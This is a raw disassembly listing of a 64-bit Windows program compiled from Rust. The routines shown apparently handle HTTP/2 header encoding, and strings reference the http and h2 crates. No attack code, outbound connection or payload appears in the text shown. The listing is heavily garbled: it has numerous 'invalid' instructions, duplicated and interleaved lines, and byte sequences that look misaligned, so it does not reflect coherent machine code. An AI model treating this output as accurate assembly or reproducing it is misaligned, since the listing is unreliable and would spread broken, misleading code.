add byte [rdi], cl
movups xmm2, xmmword [rsp + 0x138]
adc byte [rsp + 0x138], dl
add dword [rax], eax
add byte [rdi], cl
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
invalid
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
movups xmmword [rdx], xmm0
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
lea rcx, [0x140176e00]
add byte [rax], al
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
or dword [rax + 1], 0xb8e0ffc8
xor dword [rax], eax
add byte [rax], al
invalid
add rax, rcx
jmp rax
mov eax, 0x31
add byte [rax], al
add cl, ch
jmp 0x140028b15
invalid
mov eax, 0x1f
jmp 0x140028b15
add byte [rax], al
add cl, ch
invalid
mov eax, 0x39
jmp 0x140028b15
add byte [rax], al
add cl, ch
retf
mov eax, 0x23
jmp 0x140028b15
mov eax, 0x2a
jmp 0x140028b15
invalid
invalid
mov eax, 1
add byte [rax], al
mov ecx, 0x29
mov qword [rsp + 0xc8], rcx
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
add byte [rax], al
lea edx, [rsp + 0xd0]
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
adc byte [rsp + 0x138], dl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add byte [rdi], cl
adc byte [rsp + 0x148], bl
add dword [rax], eax
invalid
movups xmm3, xmmword [rsp + 0x148]
add dword [rax], eax
add byte [rdi], cl
adc dword [rdx + 0x30], ebx
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
leave
adc al, 0
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14c93e
leave
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x88]
cmp qword [rcx + 0x48], rax
jbe 0x14002b100
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax + 0x39], cl
jbe 0x14002b100
mov rdx, qword [rsp + 0x88]
add rax, qword [rdx + 0x40]
add eax, dword [rdx + 0x40]
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rax + 3], cl
add eax, dword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
add eax, dword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
cmp eax, ecx
cmp eax, ecx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
sub eax, edx
sub eax, edx
lea rdi, [rax + rax*2]
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
test al, al
je 0x14002a523
or al, 0xf8
cmp al, 0xf9
jbe 0x14002b118
cmc
or eax, dword [rax]
invalid
cmc
or eax, dword [rax]
add byte [rax - 0x75], cl
and al, 0x60
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a54b
mov edx, 1
lea rcx, [rsp + 0x58]
pop rax
pop rax
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x40
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002a5a1
add byte [rax], al
add byte [rax], al
add rsi, rdi
add rsi, 0x10
mov qword [rsp + 0x60], rax
invalid
movzx eax, byte [rsi + 0x40]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx eax, al
invalid
mov ecx, 0
invalid
invalid
sar byte [rcx], 0xf
add byte [rdi], cl
cmovae eax, ecx
mov edx, 7
movzx eax, al
sar dword [r10 + 7], 0xf
mov dh, 0xc0
lea rcx, [0x140176e30]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsi], 0
cmp dword [rsi], 0
je 0x14002a9b3
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
jmp 0x14002a9bf
mov rbp, r12
movzx eax, byte [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rbp - 0x370101b8], cl
invalid
and al, 8
add dword [rax], eax
add byte [rbp - 0x370101b8], cl
invalid
enter 0xfffffffffffff980, 6
cmp cl, 6
movzx eax, al
mov ecx, 0
add byte [rax], al
cmovae eax, ecx
mov esi, 7
invalid
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
lea rcx, [0x140176e14]
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r12, r13
mov rdi, rbx
cmp qword [rsp + 0xc8], 0
je 0x14002a8bc
mov bh, 2
add byte [rax], al
mov bh, 2
add byte [rax], al
mov r13, r14
mov rbx, qword [rsp + 0xd0]
pushfq
and al, 0xd0
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
fadd dword [rax]
add byte [rax], al
pushfq
and al, 0xd0
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
fadd dword [rax]
add byte [rax], al
jmp 0x14002a8d2
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax + 0x39], cl
jbe 0x14002b130
mov ecx, dword [rsp + 0x88]
cmp qword [rcx + 0x48], rax
jbe 0x14002b130
mov rbp, r14
cmc
mov r14, rbx
mov rdx, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax + 3], cl
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
invalid
and al, 0x88
add byte [rax], al
add byte [rax + 3], cl
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
mov rsi, qword [rdx + 0x38]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
mov edx, 0
add byte [rax], al
cmovae rdx, rcx
sub rax, rdx
lea rdi, [rax + rax*2]
cmp al, 0x40
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
mov dh, 0x44
push rax
mov dh, 0x44
push rax
test al, al
je 0x14002a683
or al, 0xf8
cmp al, 0xf9
jbe case.0x140018f24.733
or al, byte gs:[rax]
invalid
or al, byte gs:[rax]
add byte [rax - 0x7d], cl
invalid
sti
cmp rbx, 0x3f
cmp ebx, 0x3f
invalid
jae 0x14002a6b9
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
push 0x75c13948
sbb dword [rdx + 1], edi
add byte [rax], al
cmp rcx, rax
jne case.0x14001a6b7.256
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
and al, 0x58
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
and al, 0x68
and al, 0x68
or bl, 0x40
jmp case.0x140028def.28
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
cmp rcx, rax
jne 0x14002a6e1
mov edx, 1
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
add byte [rax], al
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
invalid
dec dword [rax - 0x75]
and al, 0x60
invalid
invalid
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x7f
add al, 2
jg 0x14002a733
inc eax
add al, 2
jg 0x14002a733
inc eax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002a5a1
add rbx, 0xffffffffffffffc1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002a76d
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a733
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002a5a1
mov qword [rsp + 0x60], rax
mov rcx, rbx
shr rcx, 7
cmp rbx, 0x3fff
add byte [rax - 0x77], cl
retf
ja 0x14002a710
invalid
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne case.0x140028def.28
sbb dword [rdx + 1], edi
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
mov byte [rdx + rax], bl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0xffffffffffffffc6
invalid
add byte [rax], al
enter 0xffffffffffff870f, 0xffffffffffffffc6
invalid
mov qword [rsp + 0x60], rax
and al, 0x60
mov rbx, r14
lea rcx, [rsi + rdi]
add rcx, 0x10
rcl dword [rax], 0xe8
fist word [rbx]
add byte [rax], al
rcl dword [rax], 0xe8
fist word [rbx]
add byte [rax], al
mov rcx, rax
lea r8, [rsp + 0x58]
pop rax
pop rax
call fcn.14002bfd0
add bl, byte [rax]
add byte [rax], al
mov rdi, qword [rsp + 0xb0]
add byte [rax], al
mov r14, rbp
jmp 0x14002a9f0
invalid
add byte [rbp - 0x77], cl
in al, dx
mov r12, r13
mov r13, r14
mov rdi, rbx
mov esi, 5
add byte [rax - 0x73], cl
sbb eax, 0xed3f9
ror dword [rsi], cl
invalid
add byte [rax - 0x73], cl
sbb eax, 0xed3f9
ror dword [rsi], cl
invalid
ror dword [rsi], cl
add cl, ch
fiadd dword [rax]
add byte [rax], al
jmp 0x14002a8d2
mov r12, r13
mov esp, ebp
mov r13, r14
cmc
mov rdi, rbx
lea rbx, [0x140117bde]
add cl, ch
invalid
add byte [rax], al
invalid
add cl, ch
invalid
add byte [rax], al
add byte [rbp - 0x77], cl
in al, dx
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
lea rbx, [0x140117be5]
enter 0xed3, 0
enter 0xed3, 0
ror dword [rsi], cl
add cl, ch
mov al, 0
add byte [rax], al
invalid
jmp 0x14002a8d2
mov r12, r13
mov esp, ebp
mov r13, r14
mov ebp, esi
mov rdi, rbx
mov esi, 0xa
or al, byte [rax]
add byte [rax], al
fistp qword [rsi + 0xa]
or al, byte [rax]
add byte [rax], al
lea rbx, [0x140117bd4]
invalid
add cl, ch
xchg esi, eax
add byte [rax], al
add byte [rbp - 0x77], cl
mov r12, r13
jmp 0x14002a8d2
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
mov esi, 9
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0xed3a0
lea rbx, [0x140117bf1]
jmp 0x14002a8d2
jg 0x14002a8a1
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
mov edi, ebx
mov edi, ebx
lea rbx, [0x140117bfa]
sbb eax, 0xed397
jmp 0x14002a8d2
insd dword [rdi], dx
mov edx, 5
lea rcx, [0x140117bec]
invalid
invalid
add eax, 0x48000000
lea ecx, [0x140117bec]
invalid
invalid
invalid
jmp 0x14002a9bf
add qword [r8], rax
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xed361
lea rcx, [0x140117bde]
jmp 0x14002a9bf
add byte [rax], al
lea rcx, [0x140117be5]
lea ecx, [0x140117be5]
jmp 0x14002a9bf
mov edx, 0xa
or al, byte [rax]
add byte [rax], al
lea rcx, [0x140117bd4]
lea ecx, [0x140117bd4]
jmp 0x14002a9bf
mov edx, 9
lea rcx, [0x140117bf1]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xed346
jmp 0x14002a9bf
lea rcx, [0x140117bfa]
jmp 0x14002a9bf
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x77], cl
cmc
mov r13, r14
movzx ecx, byte [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
call fcn.14002e0f0
mov rbx, rax
mov ebx, eax
mov ebx, eax
mov rsi, rdx
lea rcx, [rsp + 0xc8]
call case.0x140029841.60
mov r14, rax
mov r15, rdx
movzx eax, byte [rsp + 0x108]
test al, al
je 0x14002a92a
or al, 0xf8
cmp al, 0xfa
jae 0x14002a92a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a91f
mov edx, 1
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x10
jmp 0x14002a95b
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a952
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002a5a1
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
mov r8, rsi
call fcn.14002bfd0
invalid
invalid
add byte [rax], al
mov rcx, r14
mov ecx, esi
invalid
mov ecx, esi
mov rdx, r15
mov r8, rsi
call fcn.14002bfd0
mov rbx, rdi
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
mov r14, r13
mov r13, r12
mov r12, rbp
jmp 0x14002a9f0
movzx ecx, byte [rsi + 8]
call fcn.14002e0f0
mov rcx, rax
lea rdi, [rsp + 0x58]
mov r8, rdi
call fcn.14002bfd0
mov rcx, rsi
call case.0x140029841.60
mov rcx, rax
mov r8, rdi
call fcn.14002bfd0
mov rdi, qword [rsp + 0xb0]
nop word [rax + rax]
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1b0], rax
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x100], al
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x100], al
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xc0]
add byte [rdi], cl
adc byte [rsp + 0xd0], cl
add byte [rdi], cl
adc byte [rsp + 0xd0], cl
movups xmm2, xmmword [rsp + 0xe0]
movups xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x190], xmm3
and al, 0x90
add dword [rax], eax
invalid
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x180], edx
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
add byte [rdi], cl
sub dword [rsp + 0x160], eax
and al, 0x60
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x160], xmm0
mov eax, 8
or byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x480]
add byte [rax], al
cmp rcx, 5
ja case.default.0x14002aa7d
mov ss, esi
invalid
invalid
mov ss, esi
invalid
lea rdx, [0x140176e4c]
movsxd rcx, dword [rdx + rcx*4]
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
mov rsi, qword [rsp + 0x448]
mov ah, 0x24
add al, 0
add bh, bh
jmp rcx
mov ah, 0x24
add al, 0
add bh, bh
jmp rcx
invalid
mov eax, 0x10
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
ja 0x14002aa5d
jmp case.0x14002aa7d.4
invalid
mov eax, 0x32
jmp 0x140028b15
mov eax, 0x2f
jmp 0x140028b15
mov cl, 2
jmp 0x140028b1c
mov eax, 0x10
jmp 0x140028b15
mov r13, qword [rsp + 0x2a8]
mov r12, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2c0]
lea rbp, [rsp + 0x188]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xb0], rax
lea r14, [rsp + 0x1a0]
mov rdi, qword [rsp + 0x2d8]
jmp 0x14002ab5c
mov r12, qword [rax + 0x18]
mov r13d, 1
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x160], 0
mov dword [rsp + 0x160], 0
mov dword [rsp + 0x160], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x40]
mov qword [rbp + 0x20], rcx
movups xmm0, xmmword [rax + 0x20]
and byte [rdi], cl
adc byte [rax + 0x30], cl
and byte [rdi], cl
adc byte [rax + 0x30], cl
movups xmmword [rbp + 0x10], xmm1
adc dword [rbp + 0x10], ecx
movups xmmword [rbp], xmm0
add byte [r8 - 0x75], r9b
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x90
add dword [rax], eax
add byte [rax], al
invalid
invalid
test byte [rax + rbx*4], ah
mov rax, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x190]
add byte [rax], al
add byte [rax], al
mov r8, qword [rsp + 0x198]
mov rcx, r14
int1
add dword [rax], eax
add byte [rcx + rcx*4 - 0xf], cl
int1
int1
call qword [rax + 0x10]
test r13, r13
je 0x14002ab80
cmp r12, rbx
jae 0x14002af60
add byte [rax], al
add byte [rax], al
lea rcx, [r12 + r12*8]
lea rax, [rsi + rcx*8]
cmp qword [rsi + rcx*8 + 0x10], 0
jne 0x14002ab00
xor r13d, r13d
jmp 0x14002ab0a
cmp rdi, qword [rsp + 0xb0]
je 0x14002ac51
lea r15, [rdi + 0x68]
mov qword [rsp + 0x2d8], r15
mov r13, qword [rdi]
mov r12, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xc0], xmm0
cmp r13, 2
je 0x14002ac5f
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x160], 1
movups xmm0, xmmword [rdi + 0x40]
movups xmm1, xmmword [rdi + 0x50]
lea rax, [rsp + 0x168]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xc8]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov rax, qword [rsp + 0x168]
test rax, rax
je 0x14002ac49
mov rdx, qword [rsp + 0x170]
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x180]
call qword [rax + 0x10]
mov rdi, r15
jmp 0x14002ab3e
mov qword [rsp + 0x2c8], 0
jmp 0x14002acd5
mov r8, qword [rsp + 0xb0]
mov rax, r8
sub rax, r15
movabs rcx, 0x4ec4ec4ec4ec4ec5
mul rcx
mov qword [rsp + 0x2c8], 0
cmp r8, r15
cmp eax, edi
cmp eax, edi
je 0x14002acd5
mov rbx, rdx
mov ebx, edx
shr rbx, 5
add rdi, 0xc0
jmp 0x14002acbc
invalid
lea rcx, [rdi - 0x28]
mov rax, qword [rdi - 0x40]
fmul dword [rax - 0x75]
ror byte [r8 - 0x75], 0x57
mov rdx, qword [rdi - 0x38]
mov r8, qword [rdi - 0x30]
call qword [rax + 0x10]
invalid
invalid
invalid
mov rdx, qword [rdi - 0x38]
mov r8, qword [rdi - 0x30]
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
dec ebx
dec ebx
je 0x14002acd5
mov rax, qword [rdi - 0x18]
test rax, rax
je 0x14002aca0
invalid
call 0x1b4c3320c
fisttp dword [rax - 0x75]
push rdi
invalid
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x14002aca0
retf
retf
cmp qword [rsp + 0x2e0], 0
je 0x14002acf7
add byte [rax], al
add byte [rdi + rdx + 0x4c], dh
mov r8, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xchg byte [rsi], cl
invalid
sar bh, cl
adc eax, 0xe8669
xchg byte [rsi], cl
invalid
xchg byte [rsi], cl
add byte [rax - 0x75], cl
pushfq
and al, 0xc8
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
mov rbx, qword [rsp + 0x2c8]
test rbx, rbx
je 0x14002ad2b
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
push rax
adc byte [rax - 0x7d], cl
invalid
dec rbx
jne case.0x14002a5a1.28
push rax
adc byte [rax - 0x7d], cl
invalid
cmp qword [rsp + 0x2b8], 0
je 0x14002ad48
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
xchg byte [rsi], cl
invalid
sbb byte [rsi + 0x8b8000e], al
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rax*4], fs
add al, 0
mov eax, 8
mov rcx, qword [rsp + 0x480]
add byte [rax - 0x7d], cl
stc
invalid
ja case.default.0x14002ad69
add byte [rax - 0x7d], cl
stc
add eax, 0x8d481577
lea rdx, [0x140176e90]
lea rdx, [0x140176e90]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov eax, 0x10
lea rcx, [rsp + rax]
add rcx, 0x480
call fcn.14001d860
mov rax, qword [rsp + 0x458]
cmp rax, 2
je 0x14002ae22
lea rdx, [rsp + 0x470]
mov rsi, qword [rsp + 0x460]
mov rdi, qword [rsp + 0x468]
test rax, rax
je 0x14002ae0b
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x470]
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x80]
mov rax, qword [rsp + 0x460]
lock dec qword [rax]
jne 0x14002ae22
mov rcx, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
call fcn.140004950
jmp 0x14002ae22
mov rcx, rsi
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x470]
mov rcx, rsi
call qword [rdi + 0x80]
mov rsi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
test dil, 1
jne 0x14002ae43
lea rcx, [0x14014fa88]
jmp case.0x14001a3ad.810
mov r14, qword [rsp + 0x68]
shr rdi, 5
sub rsi, rdi
lea rbx, [rdi + rdx]
cmp rdx, r14
jne 0x14002ae7a
test rbx, rbx
je 0x14002aeb1
test sil, 1
jne 0x14002af05
mov rax, rsi
or rax, 1
lea rcx, [0x14012a090]
jmp 0x14002af0f
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14002b211
add r14, rdi
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rcx, [0x140114bd8]
jmp 0x14002af0f
lea rcx, [0x140114ae8]
mov esi, 1
xor eax, eax
xor ebx, ebx
jmp 0x14002af0f
mov r13, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x140027ab0
jmp 0x140027ac9
mov r14, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027cc9
jmp 0x140027cb0
mov r14, rsi
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x140027cb0
jmp 0x140027cc9
lea rcx, [0x14012a0a8]
mov rax, rsi
mov eax, esi
mov eax, esi
mov qword [rsp + 0x480], rdi
mov rdx, rbx
sub rdx, rdi
jb 0x14002b17b
add rsi, rdi
mov rdi, rax
mov rax, qword [rsp + 0x4e0]
mov qword [rax], rcx
mov qword [rax + 8], rsi
jo 0x14002af40
jo 0x14002af40
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdi
invalid
sbb byte [rax - 0x7f], cl
invalid
add rsp, 0x5f8
pop rbx
pop rbp
clc
add eax, 0x5d5b0000
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r12
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.1401085b0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x210], rax
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfffe7d37
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfffe7d37
mov qword [rsp + 0x218], rax
sbb byte [rdx], al
add byte [rax], al
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x220], rcx
mov qword [rsp + 0x228], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x160], rax
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx], ah
adc byte [rdx], al
add byte [rax], al
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx], ah
adc byte [rdx], al
add byte [rax], al
mov qword [rsp + 0x170], rax
invalid
invalid
test byte [rax + rdi*2], ah
adc byte [rdx], al
add byte [rax], al
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 2
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1174d0
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1174d0
lea rcx, [rsp + 0x160]
call fcn.140108560
add al, ch
invalid
lea rcx, str.Out_of_bounds_access_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140108990
lea rcx, str.Out_of_bounds_access_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140108990
lea rcx, str.Out_of_bounds_access_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140108990
lea rcx, [0x140116fd0]
lea r8, [0x140117078]
mov edx, 0x43
call fcn.140108c40
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x160], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x168], rax
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x68
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x68
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
lea rax, [0x1401424a0]
je 0x14002b0a8
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
invalid
